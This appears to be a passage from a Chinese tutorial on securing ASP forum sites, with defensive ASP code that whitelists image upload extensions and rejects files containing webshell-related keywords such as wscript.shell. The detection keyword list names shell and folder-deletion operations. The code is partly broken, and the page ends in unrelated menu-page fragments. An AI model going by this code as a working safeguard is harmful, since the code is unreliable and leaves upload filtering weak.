  怎么办?我们的限制被饶过了,所有的努力都白费了?不,举起你de键盘,说不。让我们继续回到脚本字符的过滤吧,他们所进行的注入无非就是进行脚本攻击。我们把所有的精力全都用到ACTION以后的页面吧,在chk.asp页中,我们将非法的字符全部过滤掉,结果如何?我们只在前面虚晃一枪,叫他们去改注册表吧,当他们改完才会发现,他们所做的都是那么的徒劳。

  8、ASP木马

  已经讲到这里了,再提醒各位论坛站长一句,小心你们的文件上传:为什么论坛程序被攻破后主机也随之被攻击者占据。原因就在……对!ASP木马!一个绝对可恶的东西。病毒么?非也.把个文件随便放到你论坛的程序中,您老找去吧。不吐血才怪哦。如何才能防止ASP木马被上传到服务器呢?方法很简单,如果你的论坛支持文件上传,请设定好你要上传的文件格式,我不赞成使用可更改的文件格式,直接从程序上锁定,只有图象文件格式,和压缩文件就完全可以,多给自己留点方便也就多给攻击者留点方便。怎么判断格式,我这里收集了一个,也改出了一个,大家可以看一下:

  程序体(10)

  ’判断文件类型是否合格

  Private Function CheckFileExt (fileEXT)

  dim Forumupload

  Forumupload=”gif,jpg,bmp,jpeg”

  Forumupload=split(Forumupload,”,”)

  for i=0 to ubound(Forumupload)

  if lcase(fileEXT)=lcase(trim(Forumupload(i))) then

  CheckFileExt=true

  exit Function

  else

  CheckFileExt=false

  end if

  next

  End Function

  ‘验证文件内容的合法性

set MyFile = server.CreateObject (“Scripting.FileSystemObject”)

  set MyText = MyFile.OpenTextFile (sFile, 1) ’ 读取文本文件

  sTextAll = lcase(MyText.ReadAll): MyText.close

  ’判断用户文件中的危险操作

  sStr =”8 .getfolder .createfolder .deletefolder .createdirectory 

  .deletedirectory”

  sStr = sStr & “ .saveas wscript.shell script.encode”

  sNoString = split(sStr,” ”)

  for i = 1 to sNoString(0)

  if instr(sTextAll, sNoString(i)) <> 0 then

  sFile = Upl.Path & sFileSave: fs.DeleteFile sFile

 Response.write “<center><br><big>”& sFileSave &”文件中含有与操作目录等有关的命令”&_

  ”<br><font color=red>”& mid(sNoString(i),2) &”</font>,为了安全原因,<b>不能上传。<b>”&_”</big></center></html>”

  Response.end

  end if

  next  

  把他们加到你的上传程序里做一次验证,那么你的上传程序安全性将会大大提高.

  什么?你还不放心?拿出杀手锏,请你的虚拟主机服务商来帮忙吧。登陆到服务器,将PROG ID 中的”shell.application”项和”shell.application.1″项改名或删除。再将”WSCRIPT.SHELL”项和”WSCRIPT.SHELL.1”这两项都要改名或删除。呵呵,我可以大胆的说,国内可能近半以上的虚拟主机都没改过。只能庆幸你们的用户很合作,否则……我删,我删,我删删删……

漂亮的仿flash菜单,—不会FLASH的朋友享福了

















bgColor=#336699 border=0>

  

  

    

    

    

    

    

    
http://www.lenvo.cn/ Name Is LeX Rus !!!










bgColor=#336699 border=0>

  

  

    

  

    

  

    

  

    

  

    

  

    
My
Name
Is
LeX
Rus
!!!